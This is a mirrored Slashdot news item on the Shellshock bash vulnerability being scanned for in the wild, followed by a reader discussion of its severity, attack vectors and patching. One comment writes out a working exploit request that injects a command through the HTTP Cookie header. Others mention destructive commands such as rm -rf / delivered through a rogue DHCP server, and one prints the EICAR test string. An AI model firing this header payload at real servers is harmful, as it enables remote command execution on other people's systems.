Slashdot Mirror


Flurry of Scans Hint That Bash Vulnerability Could Already Be In the Wild

The recently disclosed bug in bash was bad enough as a theoretical exploit; now, reports Ars Technica, it could already be being used to launch real attacks. In a blog post yesterday, Robert Graham of Errata Security noted that someone is already using a massive Internet scan to locate vulnerable servers for attack. In a brief scan, he found over 3,000 servers that were vulnerable "just on port 80"—the Internet Protocol port used for normal Web Hypertext Transfer Protocol (HTTP) requests. And his scan broke after a short period, meaning that there could be vast numbers of other servers vulnerable. A Google search by Ars using advanced search parameters yielded over two billion web pages that at least partially fit the profile for the Shellshock exploit. More bad news: "[T]he initial fix for the issue still left Bash vulnerable to attack, according to a new US CERT National Vulnerability Database entry." And CNET is not the only one to say that Shellshock, which can affect Macs running OS X as well as Linux and Unix systems, could be worse than Heartbleed.

318 comments

  1. Worse than Heartbleed? by charlesbakerharris · · Score: 3, Insightful

    You mean "worse than a vulnerability that doesn't seem to have been exploited on any significant scale"?

    1. Re:Worse than Heartbleed? by Anonymous Coward · · Score: 4, Insightful

      What a stupid argument.

      1. It will be, if it wasn't before.

      2. You can't know that information.

    2. Re:Worse than Heartbleed? by LordLimecat · · Score: 3, Insightful

      Heartbleed exploits were and will continue to be generally undetectable. If any private keys were stolen, we wont ever know.

    3. Re:Worse than Heartbleed? by Anonymous Coward · · Score: 5, Insightful

      I just rm -rf / a vulnerable linux laptop (dummy laptop) simply by having it connect to my malicious dhcp server.

    4. Re:Worse than Heartbleed? by jedidiah · · Score: 0

      This is an optional user level program with a number of alternatives. In terms of change impact and ability to patch, this has to be about the simplest vulnerability to patch possible.

      There are a large number of systems where the fix for this is simply to delete the thing.

      It's nothing like heartbleed.

      --
      A Pirate and a Puritan look the same on a balance sheet.
    5. Re:Worse than Heartbleed? by kuhneng · · Score: 4, Informative

      Heartbleed has already been confirmed at the initial attack vector for the breach of a large healthcare system that stole 4.5M patient identities. Given the difficulty tracing Heartbleed attacks, it's likely other systems were compromised in the same way.

    6. Re:Worse than Heartbleed? by Anonymous Coward · · Score: 0

      In terms of secrecy of the attack probably not. You are correct that no one may know about the keys being stolen. A couple of reasons I would consider this exploit as being worse are the ease of use and the permissions allowed during exploit. You may know you were compromised, but they will be able to gain access much faster than fishing for private keys first.

      But that is just my opinion. Everyone is entitled to their own definition of worse.

    7. Re:Worse than Heartbleed? by wagnerrp · · Score: 4, Insightful

      There are a large number of systems where the fix for this is simply to delete the thing.

      If you could simply delete it, because you weren't using it, your system was never vulnerable and in need of fixing anyway.

    8. Re:Worse than Heartbleed? by arth1 · · Score: 1

      Delete all cgis that either call batch or system(), as well as all dhcp clients? Then remove AcceptEnv variables from sshd configurations, and any other ways to pass an environment variable (including ones like LANG and TERM)?

      You sure haven't understood the nature of this beast. It's MUCH worse than heartbleed, and oh so simple to exploit too.

    9. Re:Worse than Heartbleed? by LordLimecat · · Score: 1

      I'd be interested to see how you could ever prove that a historical SSL connection was MITM'd by someone who had your private key.

    10. Re:Worse than Heartbleed? by Anonymous Coward · · Score: 4, Insightful

      Bah. Just replace bash then - or upgrade it. Read about this bug today (on a linux machine), tested for it - and it was fixed already. The bug may be a bad one, but the fix is out already. Got it through a standard upgrade of arch, no specific action to fix this. Fix bash, and all that cgi/ssh is as safe as ever.

      Trivial to exploit - but trivially fixed too.

    11. Re:Worse than Heartbleed? by arth1 · · Score: 1

      Bah. Just replace bash then - or upgrade it. Read about this bug today (on a linux machine), tested for it - and it was fixed already. The bug may be a bad one, but the fix is out already. Got it through a standard upgrade of arch, no specific action to fix this. Fix bash, and all that cgi/ssh is as safe as ever.

      Fixing might not be as easy as you think. A system may run an older OS, or be an embedded system. How do you replace bash on your router or access point today?

    12. Re:Worse than Heartbleed? by Dynedain · · Score: 1

      How does that argument work? It's entirely possible to have things installed and enabled which are going unused. Whether or not something is intentionally being used has no bearing on whether it is a security risk.

      --
      I'm out of my mind right now, but feel free to leave a message.....
    13. Re:Worse than Heartbleed? by the+real+darkskye · · Score: 3, Informative

      Your router, access point and TV are probably using busybox and not bash.

      --
      Music is everybody's possession.
      It's only publishers who think that people own it.
      Fuck Beta
      ~John Lenno
    14. Re:Worse than Heartbleed? by Anonymous Coward · · Score: 2, Interesting

      It really isn't that bad.

      AcceptEnv can only be exploited by people you let log in - don't let people you don't trust log in.
      DHCPC can only be busted by people on your lan - or very poorly written DHCPCs (which should be blocked at firewalls) - don't let people you don't trust on your network

      Which leaves web accessible issues, I fixed mine with mod_security for the moment.

    15. Re:Worse than Heartbleed? by exomondo · · Score: 1

      You mean "worse than a vulnerability that doesn't seem to have been exploited on any significant scale"?

      You think you'll be notified whenever there is an attack that exploits the heartbleed vulnerability? How do you know that an attack - if you even know an attack took place - did or did not result from the heartbleed bug?

    16. Re:Worse than Heartbleed? by Tenebrousedge · · Score: 2

      This is probably true, but not necessarily. There are probably a fair amount of access points and routers that run more fully-featured linuxes. Someone on HN confirmed that their WD MyCloud cheapo-NAS was vulnerable. The issue is, if there are any vulnerable embedded devices, they will probably go unpatched for a long time, especially if it's at all difficult for the end-user. If Joe Sixpack's TV can be hacked, he's probably not ever going to know, and probably not be able to fix it if so.

      I predict there's going to be a lot of people with a lot of devices that are simply fucked.

      --
      Those who advocate genocide deserve every protection afforded by law, and none afforded by common human decency.
    17. Re:Worse than Heartbleed? by jrumney · · Score: 1

      Busybox replaces GNU coreutils, not GNU bash.

    18. Re:Worse than Heartbleed? by Hylandr · · Score: 1

      I have yet to see a legit security firm make any statement on this,.

      Considering the person discovered this was 'italian' and called it a 'wopbot' I call Hoax.

      --
      ~ People that think they are better than anyone else for any reason are the cause of all the strife in the world.
    19. Re:Worse than Heartbleed? by knorthern+knight · · Score: 1

      > Busybox replaces GNU coreutils, not GNU bash.

      Wrong. It's more than just GNU coreutils. busybox also normally includes the "ash" shell, although you can build a stripped-down version of busybox withouth ash. ash is very similar to bash, but there are some "bash-isms" that it can't handle.

      --

      I'm not repeating myself
      I'm an X window user; I'm an ex-Windows user
    20. Re:Worse than Heartbleed? by Anonymous Coward · · Score: 0

      Who the heck uses bash in CGI scripts anyways?

    21. Re:Worse than Heartbleed? by Anonymous Coward · · Score: 0

      Please detail the exact exploit if you want to refute the GP's post. With code.

    22. Re:Worse than Heartbleed? by thegarbz · · Score: 1

      Yes but they don't need "fixing" they simply need "deleting".

      > OMG a severe bug in MySQL that is currently unpatched and has exploits in the wild.
      > Looks at server
      > service mysql stop
      > time for a beer to celebrate a job well done.

    23. Re:Worse than Heartbleed? by sociocapitalist · · Score: 1

      Bah. Just replace bash then - or upgrade it. Read about this bug today (on a linux machine), tested for it - and it was fixed already. The bug may be a bad one, but the fix is out already. Got it through a standard upgrade of arch, no specific action to fix this. Fix bash, and all that cgi/ssh is as safe as ever.

      Trivial to exploit - but trivially fixed too.

      The question becomes what was done to the target before it was fixed.

      Locking the door after the bad guy is in the house doesn't help much.

      --
      blindly antisocialist = antisocial
    24. Re:Worse than Heartbleed? by Anonymous Coward · · Score: 0

      Delete all cgis that either call batch or system()

      You're a bit confused there. The exploit happens before the cgi itself is run. The simple fact of using cgi is the vulnerability here, so it should be "remove all cgis".

    25. Re:Worse than Heartbleed? by arth1 · · Score: 1

      You're a bit confused there. The exploit happens before the cgi itself is run. The simple fact of using cgi is the vulnerability here, so it should be "remove all cgis".

      The above is misinformation. The cgi handler sets environment variables based on user input, which the cgi programs inherit. If and only if the cgi programs or children of the cgi programs execute bash can the exploit happen.
      Either a system() call or having bash as the interpreter means you're vulnerable. But not all cgi programs are. This cgi won't trigger the bash bug:


      #!/bin/tail -n+2
      Content-type: application/x-msdos-program
      Connection: close

      X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

    26. Re:Worse than Heartbleed? by peawormsworth · · Score: 1

      But all my scripts depend on the bug working as it did.

  2. It's been in bash a while. by dosius · · Score: 1

    The vuln test shows 3.01 has the weakness too.

    dash, Busybox ash and ksh93, afaict, do not.

    --
    What you hear in the ear, preach from the rooftop Matthew 10.27b
    1. Re:It's been in bash a while. by BasilBrush · · Score: 4, Interesting

      Versions affected go all the way back to BASH 1.14.0
      which dates from 1994. So that's 20 years.

      http://web.nvd.nist.gov/view/v...

      The "With many eyes all bugs are shallow" myth is busted again.

    2. Re:It's been in bash a while. by Vellmont · · Score: 1


      The "With many eyes all bugs are shallow" myth is busted again.

      Uhh.. I guess I'd say the "many eyes" have been saying for almost 20 years that a website that takes in user data and then passes that to a shell to run an executable is kinda stupid, and insecure.

      --
      AccountKiller
    3. Re:It's been in bash a while. by Anonymous Coward · · Score: 1

      The "With many eyes all bugs are shallow" myth is busted again.

      I mean, isn't the fact that we're talking about this vulnerability at all thanks to the open-source nature of the software, and that someone has spotted the problem?

    4. Re:It's been in bash a while. by Anonymous Coward · · Score: 1

      Doesn't matter. It's still a serious vulnerability in Bash which no one fixed for two decades, despite it being open source.

    5. Re:It's been in bash a while. by BasilBrush · · Score: 0, Troll

      So what you're saying is they've been using the excuse "You're holding it wrong" for 20 years?

    6. Re:It's been in bash a while. by Anonymous Coward · · Score: 0

      The "With many eyes all bugs are shallow" myth is busted again.

      Again? Could you give at least one other example?

    7. Re:It's been in bash a while. by Anonymous Coward · · Score: 0

      I just looked at the download directory for bash and 1.14 seems to be the oldest version available, though you apparently have to back-diff it to get to 1.14.0. Who knows how long the bug may have been in there before that. So effectively, this bug has been in bash since day one.

      And for those of you interested in the details, here is the patch.

    8. Re:It's been in bash a while. by Anonymous Coward · · Score: 0

      Sometimes you can hold things the wrong way. If you hold a hammer the wrong way, you blame yourself, not the hammer.

      Shells have been known to be a source of nasty vulnerabilities for decades. It is far too easy to write a shell script that can be exploited. Or just look at the shell-suid swamp. Of course this problem should be fixed, and it is embarrassing that it has been there for so long, but that shells and security don't mix is well known.

    9. Re:It's been in bash a while. by arth1 · · Score: 5, Interesting

      Uhh.. I guess I'd say the "many eyes" have been saying for almost 20 years that a website that takes in user data and then passes that to a shell to run an executable is kinda stupid, and insecure.

      You misunderstand the nature of the bug. Your cgi or app doesn't have to pass anything to an executable. A static call is just as vulnerable here - if a cgi app calls system("/path/to/safe/executable") with no parameters at all, you'll still be bitten, because the system() call executes /bin/sh to run the command in, and inherits the environment from the web browser.

      Something like this will suffice:


      telnet HOST 80 (or openssl s_client -connect HOST:443)
      GET /someapp HTTP/1.1
      Host: HOST
      Cookie: () { :; }; /bin/cat /dev/urandom >/tmp/foo
      Connection: close

      ... or any other command you want to execute, like perhaps an ssh out with a tunnel back in.

      And it's not restricted to http cgi either. Several dhcp clients call sh, so you can get instahacked by trying to acquire an open network connection. Rather worse, because dhcpd/dhclient tend to run as root so they can set up routing and set up the resolver.
      There are many other attack vectors for this one.

      Yes, it's bad.

    10. Re:It's been in bash a while. by Anonymous Coward · · Score: 0

      Lol, you neckbeards get hit by one of the biggest security holes _ever_, a hole that is staggering its implications and can be exploited by someone with average or above average technical skills and you _still_ manage to try to put in a dig on Windows?

      The gall. The unmitigated gall.

    11. Re:It's been in bash a while. by mr_mischief · · Score: 2

      The system call in some languages will do that, and in some won't except under certain circumstances.

      In Perl if you give system() a list it won't call the shell. If you give it a single scalar it will call the shell only if there are shell metacharacters in that scalar.

    12. Re:It's been in bash a while. by Anonymous Coward · · Score: 0

      ...and with proprietary code, you're screwed. That myth still holds up. Go back to winsupersite, troll.

    13. Re:It's been in bash a while. by Anonymous Coward · · Score: 0

      The "With many eyes all bugs are shallow" myth is busted again.

      Again? Could you give at least one other example?

      OpenSSL

    14. Re:It's been in bash a while. by fnj · · Score: 1

      The "With many eyes all bugs are shallow" myth is busted again.

      I mean, isn't the fact that we're talking about this vulnerability at all thanks to the open-source nature of the software, and that someone has spotted the problem?

      It would be pleasant to think so, but isn't it just as possible that the discovery of the exploit was thanks to eyes on the source code? I may be naive, but it's difficult for me to believe that someone thought up the attack vector from just thinking about shells in general.

    15. Re:It's been in bash a while. by Anonymous Coward · · Score: 0

      The "With many eyes all bugs are shallow" myth is busted again.

      Again? Could you give at least one other example?

      Oh, I don't know, maybe ... HEARTBLEED?

      Jesus what a short memory.

    16. Re:It's been in bash a while. by Anonymous Coward · · Score: 0

      All bugs are shallow - when the many eyes are looking for them. They don't look for everything in advance. But whenever there is an exploit, the bug is found and fixed in a day. Contrast with commercial sw that take months . . .

    17. Re:It's been in bash a while. by Vellmont · · Score: 2

      I understand the nature of the bug. I ALSO think it's stupid to call an executable and pass in a parameter from the user.

      --
      AccountKiller
    18. Re:It's been in bash a while. by seebs · · Score: 1

      This one only affects bash, though. Other shells aren't affected, because they don't automatically and unconditionally execute parts of their environment as code.

      --
      My blog: http://www.seebs.net/log/ --- My iPhone/iPad app: http://www.seebs.net/seebsfrac/
    19. Re:It's been in bash a while. by Vellmont · · Score: 2

      Oh, and as an addendum, I consider anything that originates from the client, something that the user can generate.

      i.e. untrusted input is untrusted input. People get far to specific about that kind of thing. If you're taking input from a client, and passing it to a system executable in some way, that's bad.

      --
      AccountKiller
    20. Re:It's been in bash a while. by Anonymous Coward · · Score: 0

      I'm an open source guy and dislike Microsoft as much as the next guy. But I couldn't possibly agree with you more.

    21. Re:It's been in bash a while. by Anonymous Coward · · Score: 0

      Yeah smartass, if only the Intertubes had hired you as a security consultant in time.

    22. Re:It's been in bash a while. by amicusNYCL · · Score: 4, Informative

      I may be naive, but it's difficult for me to believe that someone thought up the attack vector from just thinking about shells in general.

      It's not that hard to believe, maybe someone was designing some piece of software where they wanted to use functionality like that. They wanted to have the browser end up defining a function in bash, and then run some additional code, and did some tests to see if it would work. They found that not only will it work, but it will work a whole lot better than they thought it would. At that point, time to tell someone.

      --
      "Our two-party system is like a bowl of shit looking at itself in a mirror." - Lewis Black
    23. Re:It's been in bash a while. by Anonymous Coward · · Score: 0

      Although the source is available, many do not know how to check it for vulnerabilities. This is a reason why there should be a hold on all new "features" in the current distributions, and an extensive code audit started. Better to start finding things now, before they become exploits in the future. Not everyone that uses free software are programmers. Start with the core programs, and work out to the periphery. Seems like a good time for the community to give back by performing this effort.

    24. Re:It's been in bash a while. by exomondo · · Score: 1

      Yes, and of course this proves once again that "open source/Linux is bad" and "Windows is good."

      Nobody said that, stop trying to start a flamewar. We have many examples now of decade+ old bugs in open source software which pretty much debunks the idea that "with many eyes all bugs are shallow". Now does that mean open source is bad? No. Does this mean Linux is bad? No. Does this mean Windows is good? No. Did anybody but you even suggest anyone was saying such things? No.

    25. Re:It's been in bash a while. by Anonymous Coward · · Score: 0

      When critical bugs are flying thick and fast what is the OSS defence mechanism? Postulate over how many bugs Windows might have!

      As a Linux and OSX user I don't give a fuck about Windows, whether or not it has vulnerabilities doesn't affect me so stop deflecting. The FOSS community fucked up and that's ok, it happens. But deal with it and stop trying to find somebody else to be your patsy.

    26. Re:It's been in bash a while. by Anonymous Coward · · Score: 0

      Heartbleed

    27. Re:It's been in bash a while. by Darinbob · · Score: 1

      I agree that it was unexpected that a static call to system() using a constant known string would have a vulnerability. However some people have also advised against using system() directly for a long time. Definitely I've seen bugs before that were traced back to someone having something unusual stuck in their .profile, or things work ok when the dev's shell was csh but then broke when run in production, etc.

      Definitely for a very long time I have seen some people write simple functions to get a replacement for system() that's faster to start or more consistent in usage.

    28. Re:It's been in bash a while. by Darinbob · · Score: 1

      However this does not mean that all other shells are perfectly safe or that there's not some other way to exploit them in the future. Basically using system("somestuff") is not the fastest or safest way to execute a command, though it is the most convenient way.

      If a setuid program is dumb enough to use system() you can do a lot of nasty stuff if you're on the local machine. Setting SHELL to something other than the default, using BASH_ENV, stuff like that. In other words, people have known that system() is not necessarily safe for a long time.

    29. Re:It's been in bash a while. by Darinbob · · Score: 1

      Although this vulnerability has been there for two decades...

    30. Re:It's been in bash a while. by spitzak · · Score: 1

      That requires the interpreter to copy the value of Cookie into an environment variable, so it won't work if that is not done. Don't know what web server you are talking about that does that.

      The problem is cgi that purposely puts a user-settable variable into an environment variable. For instance something a user types into a form. They type their name and the cgi does setenv("NAME",text) and then calls system().

      I suppose there are web servers that copy Cookie into an environment variable. Is there a particular one you know about? I would say the bug is somewhat in that as there seems no really good reason to do this.

    31. Re:It's been in bash a while. by arth1 · · Score: 1

      That requires the interpreter to copy the value of Cookie into an environment variable, so it won't work if that is not done. Don't know what web server you are talking about that does that.

      Um, apache and lighttpd both do. Combined, that covers most web servers.

      HTTP_COOKIE gets set to the value of the Cooke: header.
      Other environment variables set by the remote user include Referer: (HTTP_REFERER) and User-Agent; (HTTP_USERAGENT).

    32. Re:It's been in bash a while. by Darinbob · · Score: 1

      I take some of this back, I was thinking of a non-unix system that had problem. Most real unixes have a hard coded /bin/sh, and most do not arbitrarily execute code if in non-interactive mode (except for BASH_ENV).

    33. Re:It's been in bash a while. by Darinbob · · Score: 1

      Mistake here, the problem I saw with SHELL screwing stuff up wasn't with system(), real unices use a hardcoded path there. I've been on too many embedded systems that try to be unix-like.

    34. Re:It's been in bash a while. by runningduck · · Score: 2

      I am not even sure that this should be considered a bug in Bash. Why should we be surprised when a program whose sole purpose is to execute arbitrary commands is found to execute arbitrary commands? The only surprise is that it does so to a greater extent than expected. There have been documents since the 90's which emphasized the need to not pass unsanitized data to a CGI script and even more specifically Bash. I think that there could be a good argument that the bug is really in mod_cgi. Think of it this way, if a web application passes unvalidated input to an SQL server which in turn exposes data in unexpected ways is the bug in the SQL server?

      --
      -rd
    35. Re:It's been in bash a while. by runningduck · · Score: 1

      I have an unpatched test system which has the Bash flaw and I cannot get your example to work. Maybe the flaw isn't as pervasive as you claim.

      --
      -rd
    36. Re:It's been in bash a while. by penguinoid · · Score: 1

      I bet Debian users are feeling a dash of pride right now. Maybe a few of them will take the opportunity to bash the other distros?

      --
      Don't waste your vote! Vote for whoever you want, unless you live in a swing state it won't matter anyways
    37. Re:It's been in bash a while. by spitzak · · Score: 1

      Yuck, that's pretty bad, especially because web servers are not so easy to update.

    38. Re:It's been in bash a while. by Barsteward · · Score: 1

      " pretty much debunks the idea that "with many eyes all bugs are shallow". "

      Not true. the phrase doesn't not use "bugs are non-existent", perhaps looking up the meaning of "shallow" at www.dictionary.com might help

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    39. Re:It's been in bash a while. by Barsteward · · Score: 1

      Look up the meaning of "shallow" - it does not mean "non-existent

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    40. Re:It's been in bash a while. by Barsteward · · Score: 1

      can you explain your meaning of "shallow" to us all?

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    41. Re:It's been in bash a while. by Anonymous Coward · · Score: 0

      It remains to be seen whether bash has "so many eyes" in the first place. Though ubiquitous and well known (like OpenSSL), it only has one maintainer and perhaps a couple of developers. I'd guess that people solely compile it, not study it.

      It's not that there are hundreds of developers from around the world hacking on it, like on the Linux kernel.

    42. Re:It's been in bash a while. by arth1 · · Score: 1

      I have an unpatched test system which has the Bash flaw and I cannot get your example to work. Maybe the flaw isn't as pervasive as you claim.

      It certainly works/worked on all systems I have tried it on. Did you point your GET at a cgi (or an URL aliased to a cgi) that either uses bash as an interpreter, or calls system() on a system where /bin/sh is symlinked to bash?

      Also, I chose to use Cookie: as the vector for the example. Other vectors include the User-Agent: and Referer: headers. Some systems handle one but not the others - a good attack (as opposed to an example) would use all of them.

    43. Re:It's been in bash a while. by torsmo · · Score: 1

      The linked patch only fixes the primary vulnerability. There is an additional trailing string processing vulnerability (CVE-2014-7169) that is fixed by using the patch posted here.

    44. Re:It's been in bash a while. by Anonymous Coward · · Score: 0

      i.e. untrusted input is untrusted input. People get far to specific about that kind of thing. If you're taking input from a client, and passing it to a system executable in some way, that's bad.

      Yes, like when Slashdot's web server takes your comment text and passes it to the executable which then posts it on the web site, that's bad.

      Seriously, you're misunderstanding how this bug works. It's on par with, say, someone typing "rm -rf /" into their post here on Slashdot, and apache discovering that command as it accepts the post over HTTP and deciding to execute it just for shits and giggles. You wouldn't blame Slashdot's web developers for that, you'd blame apache, and in the same way, this is 100% a bash problem, and not a problem with anyone's web development.

    45. Re:It's been in bash a while. by Urkki · · Score: 1

      I am not even sure that this should be considered a bug in Bash. Why should we be surprised when a program whose sole purpose is to execute arbitrary commands is found to execute arbitrary commands?

      Uh... A program interprets text which is not command as a command. Not a bug? Are you trolling?

    46. Re:It's been in bash a while. by exomondo · · Score: 1

      Of course it doesn't mean "bugs are non-existent", otherwise that would be the phrase. You could interpret the results that we have seen to mean that there are just not enough eyes, in which case the statement is simply just redundant and obviously irrelevant and doesn't apply to open source software anyway.

  3. defaultwebpage scans by QuietLagoon · · Score: 1

    I've already seen a few of these scans so far today.

  4. "could be worse than Heartbleed" by Junta · · Score: 3, Insightful

    To be fair, anyone using bash as the cgi handler for anything remotely serious was already doing it wrong. Bash by it's nature is a facility trying to let the presumably authenticated user of it to do whatever they want, even if it looks somewhat weird. Yes this bug warrants fixing, but putting bash or similar in a path where untrusted environment variables and/or argv is present is a very dubious design decision. Besides, fork and exec for every request is a huge no no, and that's the only way to fly with bash.

    Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...

    --
    XML is like violence. If it doesn't solve the problem, use more.
    1. Re:"could be worse than Heartbleed" by Anonymous Coward · · Score: 3, Interesting

      dhclient-script uses shell variables passed from the DHCP server. Your laptop connects to a rogue AP and you're owned because dhclient-script run as root.

    2. Re:"could be worse than Heartbleed" by jpvlsmv · · Score: 5, Insightful
      Except for the system "utilities" that are actually bash scripts, such as /usr/bin/xzgrep. These are vulnerable to inheriting malicious environment variables from the parent processes even if the overlying process is not a shell script.

      The other reasonable vector is the use of environment variables set by your dhcp client before running /etc/sysconfig/if-up.d/* based on whatever is contained in the first DHCPOFFER packet it receives.

    3. Re:"could be worse than Heartbleed" by Arkh89 · · Score: 0

      Mod parent up!

      Especially handling user generated content without testing it and feeding directly to Bash through CGI. I personally fail to see what all this is about. Are we also considering that most databases or PHP have a similar bug, since if you do not sanitize the user input it is an opened door to havoc?

    4. Re:"could be worse than Heartbleed" by LordLimecat · · Score: 3, Interesting

      The NIST page indicates that DHCP could be used to exploit it. It also indicates low complexity and no authentication required, so Im not convinced youre correct.

    5. Re:"could be worse than Heartbleed" by RightSaidFred99 · · Score: 1

      This is completely untrue and this bug is a massive breach, staggering in its scope.

      Any CGI script is potentially vulnerable, and it wouldn't be hard to exercise.

      Here's a hint as to how one might exploit this.

    6. Re:"could be worse than Heartbleed" by QuietLagoon · · Score: 5, Informative

      Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...

      This blog post mentions php, c++, python, et alia, as another attack vector.

      This means that web apps written in languages such as PHP, Python, C++, or Java, are likely to be vulnerable if they ever use libcalls such as popen() or system(), all of which are backed by calls to /bin/sh -c '...'. There is also some added web-level exposure through #!/bin/sh CGI scripts, calls in SSI, and possibly more exotic vectors such as mod_ext_filter.

    7. Re:"could be worse than Heartbleed" by nedlohs · · Score: 4, Informative

      You don't need to use bash as the cgi handler. You just have to execute bash from your cgi handler. Say by the system() function in the c library on a system where /bin/sh is bash.

      And of course connecting having your linux machine try and get an IP via DHCP is a vector.

    8. Re:"could be worse than Heartbleed" by jellomizer · · Score: 1

      Back in the day I had made some csh (not bash) scripts.
      It took the posted data parsed it and printed a formatted report on paper.
      So employees could then use it to process the order and ship it out.

      It was a low volume thing, and we did it in csh just because it was quick and easy to do.
      The web server wasn't ran as root and the script didn't run as root.

      There could also be a Bash based Menu system for a public Telnet/SSH Site which could cause issues too.

      --
      If something is so important that you feel the need to post it on the internet... It probably isn't that important.
    9. Re:"could be worse than Heartbleed" by Kiwikwi · · Score: 5, Informative

      Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...

      Unfortunately, attackers do not share your lack of imagination.

      First of all, the CGI vulnerability is not about CGI scripts written in Bash, this is about any CGI script that at any point invokes a shell or invokes a program that invokes a shell (e.g. using the system call), irrespective of the actual shell command, on a system that uses Bash as the system shell (so pretty much all non-Debian based Linux distros).

      Got that? any CGI program + any non-Debian Linux => vulnerable. (For once, the PHP programmers are ahead security wise due to the ubiquity of mod_php...)

      Second of all, there are all kinds of non-CGI situations in which untrusted data is passed in environment variables. This is normally not a problem... unless that environment variable at any point is inherited by Bash.

      The ISC DHCP client (dhclient) is the canonical example, as it runs a distro-specific shell script to set up the network once it gets a DHCP lease. Unustrusted values from the DHCP server are passed - you guessed it - in environment variables.

    10. Re:"could be worse than Heartbleed" by Anonymous Coward · · Score: 0

      But I use systemd for my dhcp. Why the hell would anyone use scripts for dhcp or any other startup services? This isn't the fucking 80s anymore.

    11. Re:"could be worse than Heartbleed" by Dishwasha · · Score: 1

      Whew, it's a good thing that COTS router/wifi vendors don't ever do things wrong.

    12. Re:"could be worse than Heartbleed" by Anonymous Coward · · Score: 2, Funny

      But I use systemd for my dhcp. Why the hell would anyone use scripts for dhcp or any other startup services? This isn't the fucking 80s anymore.

      LOL's on you. I use systemd for my systemd. Why the hell would anyone use systemd for systemd or any other systemd? This isn't the systemding 80s anymore.


      systemd

    13. Re:"could be worse than Heartbleed" by Junta · · Score: 1

      Ok, perhaps I undermined the importance, but if you are using 'xzgrep' in cgi context in a serious situation, I would say that is still a mistake. Forking and execing in response to an http request is terrible performance wise before getting to the security dubious of it all.

      The dhclient-script stuff is pretty significant and I think I would be in a weak position saying that those have no business execing system commands/scripts. However it does suggest it may be worthwhile to have a helper that is non-root with capabilities to allow it to do key stuff to limit it's ability.

      --
      XML is like violence. If it doesn't solve the problem, use more.
    14. Re:"could be worse than Heartbleed" by Junta · · Score: 2

      I guess the point is that if a significant application is either written in bourne script or even doing something like system() to do nearly anything and it isn't some internal low security thing, then there is something that is bad going on.

      That's not to say the bash thing isn't bad, but it *should* also be a wake up call to people to be mindful of invoking external utilities willy nilly when it is not appropriate.

      --
      XML is like violence. If it doesn't solve the problem, use more.
    15. Re:"could be worse than Heartbleed" by Junta · · Score: 1

      This blog post mentions php, c++, python, et alia, as another attack vector.

      And while that underscores the appropriate need for this to be fixed, it should also be an opportunity to educate people to be wary of popen or system. If you leverage those a lot in a cgi context, you have created a significant potential bottleneck to scaling, versus using language libraries to accomplish the same goal without fork/exec being mandatory.

      --
      XML is like violence. If it doesn't solve the problem, use more.
    16. Re:"could be worse than Heartbleed" by Junta · · Score: 2

      The DHCP case is truly a bad situation.

      I still say that people shouldn't be using things like system() in cgi context except in very limited hacked up internal-only little web pages. It has the same problem as using bash directly, it's a massive waste of resources for an HTTP request to spawn a new process.

      --
      XML is like violence. If it doesn't solve the problem, use more.
    17. Re:"could be worse than Heartbleed" by Junta · · Score: 1

      any CGI program + any non-Debian Linux => vulnerable

      No, only CGI programs that use system/popen/etc to call out to things that may be bash.

      For once, the PHP programmers are ahead security wise due to the ubiquity of mod_php...)

      Well for one most languages the equivalent facility is available and usually used since it is a requirement to scale. For another, even the silly 'fork and exec' perl or php or python isn't vulnerable if said script avoids system/popen/backticks/whathaveyou.

      I guess I was wrong to play down the severity of bash, but my hope was for people to just consider themselves to make a mistake by ever potentially having bash in a cgi context, for reasons beyond this exploit.

      --
      XML is like violence. If it doesn't solve the problem, use more.
    18. Re:"could be worse than Heartbleed" by fnj · · Score: 4, Insightful

      You mod him up, and people who are smart will mod him down.

      Try to understand, this is not about executing bash scripts as cgi, and it's not about sanitizing input. Period. It is about httpd setting environment variables from unsanitized user input when calling ANY cgi. And if perl or python or php then invoke bash by, for example, executing a call to system(), the environment gets passed to bash, and bash can be made to execute something bad just by having the environment set badly, and you can be pwned.

      It took me a bit to "get it" myself.

    19. Re:"could be worse than Heartbleed" by fnj · · Score: 1

      You're right; not only should you be unconvinced that he is right; he in fact misses the whole point and is completely mistaken.

    20. Re:"could be worse than Heartbleed" by seebs · · Score: 4, Interesting

      For low-traffic stuff, development time is much more important. Furthermore, in some cases, the actual intended function of a thing is to run specific code. And prior to this bug, it was reasonably well-understood that system("/absolute/path --with --fixed --arguments") was pretty safe, since the absolute path prevented any PATH-related shenanigans, and you weren't including any user data. The environment's not executable. Usually.

      --
      My blog: http://www.seebs.net/log/ --- My iPhone/iPad app: http://www.seebs.net/seebsfrac/
    21. Re:"could be worse than Heartbleed" by jdavidb · · Score: 1

      any CGI script that at any point invokes a shell or invokes a program that invokes a shell (e.g. using the system call), irrespective of the actual shell command

      But it's been well known for more than ten years that you ought not to call system or execute external programs from a CGI program. That's just a bad idea. This exploit is one proof as to why.

    22. Re:"could be worse than Heartbleed" by Junta · · Score: 1

      Well, perhaps some of my comment should be modded down, but I really want people to cringe if they find themselves ever typing backtick, popen, or system() when doing web development, exploit or no exploit. It's just a very bad thing to do only as a very last resort in a very controlled situation.

      --
      XML is like violence. If it doesn't solve the problem, use more.
    23. Re:"could be worse than Heartbleed" by radtea · · Score: 2

      The NIST page indicates that DHCP could be used to exploit it.

      Any program that a) listens on a socket and b) calls out to a shell with an argument partially constructed from user input is vulnerable if the shell is unpatched bash. Apparently DHCP does this: https://www.trustedsec.com/sep...

      The only saving grace in this bug is that it's relatively easy to patch on client and server machines.

      But there are a lot of things that aren't client and server machines that run linux and use bash. Routers, cable modems... all kinds of embedded systems. These things generally lag behind everything else. Firewalls will no-doubt be getting upgraded as we speak, but routers? Ultrasound machines in hospitals?

      There is a lot of hard-to-patch hardware out there, and while I'm sure manufacturers are working on getting fixes out, it's going to be a long, hard, expensive process to ensure they're implemented.

      We're incredibly fortunate that this bug is pretty easily fixable, but there may well be additional lurking issues, and there is always the chance we are going to find something that can't be easily fixed without breaking existing bash functionality. The probability of that is low, but the consequences would be enormously bad.

